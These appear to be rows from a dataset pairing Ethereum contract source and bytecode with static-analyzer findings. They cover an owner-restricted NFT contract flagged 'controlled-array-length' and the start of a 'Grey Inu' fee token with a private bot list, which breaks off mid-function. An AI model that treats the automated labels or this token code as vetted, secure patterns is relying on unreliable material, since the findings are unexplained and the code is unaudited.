0206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058209ed7dfde66ec062ee79e7eb1841ce912c7b27f639c83efdbc57e64bd8918bb1c0029
|
{"success": true, "error": null, "results": {}}
| 8,766 |
0xaebd9bd588f044cbdec8f3cf1e80277a7a52dc69
|
// File: openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol
pragma solidity ^0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SpartanCouncil.sol
/**
* @title Custom NFT contract based off ERC721 but restricted by access control.
* @dev made for https://sips.synthetix.io/sips/sip-93
*/
contract IlluvinatiCouncil is Ownable {
// Event that is emitted when a new SpartanCouncil token is minted
event Mint(uint256 indexed tokenId, address to);
// Event that is emitted when an existing SpartanCouncil token is burned
event Burn(uint256 indexed tokenId);
// Event that is emitted when an existing SpartanCouncil token is Transferred
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
// Event that is emitted when an existing SpartanCouncil token's uri is altered
event TokenURISet(uint256 tokenId, string tokenURI);
// Array of token ids
uint256[] public tokens;
// Map between an owner and their tokens
mapping(address => uint256) public tokenOwned;
// Maps a token to the owner address
mapping(uint256 => address) public ownerOf;
// Optional mapping for token URIs
mapping(uint256 => string) private tokenURIs;
// Token name
string public name;
// Token symbol
string public symbol;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
* @param _name the name of the token
* @param _symbol the symbol of the token
*/
constructor(string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
}
/**
* @dev Modifier to check that an address is not the "0" address
* @param to address the address to check
*/
modifier isValidAddress(address to) {
require(to != address(0), "Method called with the zero address");
_;
}
/**
* @dev Function to retrieve whether an address owns a token
* @param owner address the address to check the balance of
*/
function balanceOf(address owner) public view isValidAddress(owner) returns (uint256) {
return tokenOwned[owner] > 0 ? 1 : 0;
}
/**
* @dev Transfer function to assign a token to another address
* Reverts if the address already owns a token
* @param from address the address that currently owns the token
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to transfer
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public isValidAddress(to) isValidAddress(from) onlyOwner {
require(tokenOwned[to] == 0, "Destination address already owns a token");
require(ownerOf[tokenId] == from, "From address does not own token");
tokenOwned[from] = 0;
tokenOwned[to] = tokenId;
ownerOf[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Mint function to mint a new token given a tokenId and assign it to an address
* Reverts if the tokenId is 0 or the token already exist
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to mint
*/
function mint(address to, uint256 tokenId) public onlyOwner isValidAddress(to) {
_mint(to, tokenId);
}
/**
* @dev Mint function to mint a new token given a tokenId and assign it to an address
* Reverts if the tokenId is 0 or the token already exist
* @param to address the address to assign the token to
* @param tokenId uint256 ID of the token to mint
*/
function mintWithTokenURI(
address to,
uint256 tokenId,
string memory uri
) public onlyOwner isValidAddress(to) {
require(bytes(uri).length > 0, "URI must be supplied");
_mint(to, tokenId);
tokenURIs[tokenId] = uri;
emit TokenURISet(tokenId, uri);
}
function _mint(address to, uint256 tokenId) private {
require(tokenOwned[to] == 0, "Destination address already owns a token");
require(ownerOf[tokenId] == address(0), "ERC721: token already minted");
require(tokenId != 0, "Token ID must be greater than 0");
tokens.push(tokenId);
tokenOwned[to] = tokenId;
ownerOf[tokenId] = to;
emit Transfer(address(0), to, tokenId);
emit Mint(tokenId, to);
}
/**
* @dev Burn function to remove a given tokenId
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to burn
*/
function burn(uint256 tokenId) public onlyOwner {
address previousOwner = ownerOf[tokenId];
require(previousOwner != address(0), "ERC721: token does not exist");
delete tokenOwned[previousOwner];
delete ownerOf[tokenId];
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i] == tokenId) {
tokens[i] = tokens[tokens.length - 1];
break;
}
}
tokens.pop();
if (bytes(tokenURIs[tokenId]).length != 0) {
delete tokenURIs[tokenId];
}
emit Burn(tokenId);
}
/**
* @dev Function to get the total supply of tokens currently available
*/
function totalSupply() public view returns (uint256) {
return tokens.length;
}
/**
* @dev Function to get the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to retrieve the uri for
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(ownerOf[tokenId] != address(0), "ERC721: token does not exist");
string memory _tokenURI = tokenURIs[tokenId];
return _tokenURI;
}
/**
* @dev Function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function setTokenURI(uint256 tokenId, string memory uri) public onlyOwner {
require(ownerOf[tokenId] != address(0), "ERC721: token does not exist");
tokenURIs[tokenId] = uri;
emit TokenURISet(tokenId, uri);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636352211e116100a25780638f32d59b116100715780638f32d59b146105a157806395d89b41146105c3578063966595dc14610646578063c87b56dd1461069e578063f2fde38b146107455761010b565b80636352211e1461048757806370a08231146104f5578063715018a61461054d5780638da5cb5b146105575761010b565b806340c10f19116100de57806340c10f19146102e457806342966c68146103325780634f64b2be1461036057806350bb4e7f146103a25761010b565b806306fdde0314610110578063162094c41461019357806318160ddd1461025857806323b872dd14610276575b600080fd5b610118610789565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610256600480360360408110156101a957600080fd5b8101908080359060200190929190803590602001906401000000008111156101d057600080fd5b8201836020820111156101e257600080fd5b8035906020019184600183028401116401000000008311171561020457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610827565b005b610260610a47565b6040518082815260200191505060405180910390f35b6102e26004803603606081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b005b610330600480360360408110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e85565b005b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050610f95565b005b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050611282565b6040518082815260200191505060405180910390f35b610485600480360360608110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103ff57600080fd5b82018360208201111561041157600080fd5b8035906020019184600183028401116401000000008311171561043357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506112a3565b005b6104b36004803603602081101561049d57600080fd5b81019080803590602001909291905050506114f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105376004803603602081101561050b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152a565b6040518082815260200191505060405180910390f35b61055561160f565b005b61055f611748565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a9611771565b604051808215151515815260200191505060405180910390f35b6105cb6117c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561060b5780820151818401526020810190506105f0565b50505050905090810190601f1680156106385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106886004803603602081101561065c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611866565b6040518082815260200191505060405180910390f35b6106ca600480360360208110156106b457600080fd5b810190808035906020019092919050505061187e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070a5780820151818401526020810190506106ef565b50505050905090810190601f1680156107375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107876004803603602081101561075b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0f565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561081f5780601f106107f45761010080835404028352916020019161081f565b820191906000526020600020905b81548152906001019060200180831161080257829003601f168201915b505050505081565b61082f611771565b6108a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b8060046000848152602001908152602001600020908051906020019061099e929190611f43565b507fda84ca2183491f179a603e877b2cb058e42195041c2b9c53d746427e519a34df82826040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a085780820151818401526020810190506109ed565b50505050905090810190601f168015610a355780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6000600180549050905090565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610adb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b610b6a611771565b610bdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061207a6028913960400191505060405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff166003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f46726f6d206164647265737320646f6573206e6f74206f776e20746f6b656e0081525060200191505060405180910390fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836003600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050505050565b610e8d611771565b610eff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b610f908383611a95565b505050565b610f9d611771565b61100f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090556003600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560008090505b6001805490508110156111e057826001828154811061118457fe5b906000526020600020015414156111d357600180808054905003815481106111a857fe5b9060005260206000200154600182815481106111c057fe5b90600052602060002001819055506111e0565b8080600101915050611169565b5060018054806111ec57fe5b6001900381819060005260206000200160009055905560006004600084815260200190815260200160002080546001816001161561010002031660029004905014611251576004600083815260200190815260200160002060006112509190611fc3565b5b817fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb60405160405180910390a25050565b6001818154811061128f57fe5b906000526020600020016000915090505481565b6112ab611771565b61131d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b600082511161141b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f555249206d75737420626520737570706c69656400000000000000000000000081525060200191505060405180910390fd5b6114258484611a95565b8160046000858152602001908152602001600020908051906020019061144c929190611f43565b507fda84ca2183491f179a603e877b2cb058e42195041c2b9c53d746427e519a34df83836040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114b657808201518184015260208101905061149b565b50505050905090810190601f1680156114e35780820380516001836020036101000a031916815260200191505b50935050505060405180910390a150505050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611601576000611604565b60015b60ff16915050919050565b611617611771565b611689576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561185e5780601f106118335761010080835404028352916020019161185e565b820191906000526020600020905b81548152906001019060200180831161184157829003601f168201915b505050505081565b60026020528060005260406000206000915090505481565b6060600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20646f6573206e6f742065786973740000000081525060200191505060405180910390fd5b6060600460008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119ff5780601f106119d4576101008083540402835291602001916119ff565b820191906000526020600020905b8154815290600101906020018083116119e257829003601f168201915b5050505050905080915050919050565b611a17611771565b611a89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a9281611dff565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611b2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061207a6028913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b6000811415611c79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e204944206d7573742062652067726561746572207468616e20300081525060200191505060405180910390fd5b600181908060018154018082558091505090600182039060005260206000200160009091929091909150555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4807ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010283604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120316026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f8457805160ff1916838001178555611fb2565b82800160010185558215611fb2579182015b82811115611fb1578251825591602001919060010190611f96565b5b509050611fbf919061200b565b5090565b50805460018160011615610100020316600290046000825580601f10611fe95750612008565b601f016020900490600052602060002090810190612007919061200b565b5b50565b61202d91905b80821115612029576000816000905550600101612011565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6574686f642063616c6c6564207769746820746865207a65726f206164647265737344657374696e6174696f6e206164647265737320616c7265616479206f776e73206120746f6b656ea265627a7a72315820d3b076244eabf3314e9a81a2288be9e4d3bba7673a7ad24710384473978548e064736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,767 |
0x2b0b922810cfe22a494fc31d17e4103ad7ddf880
|
/**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
/*
Grey Inu ($GRIN)
http://t.me/greyinutoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GreyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Grey Inu";
string private constant _symbol = 'GRINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
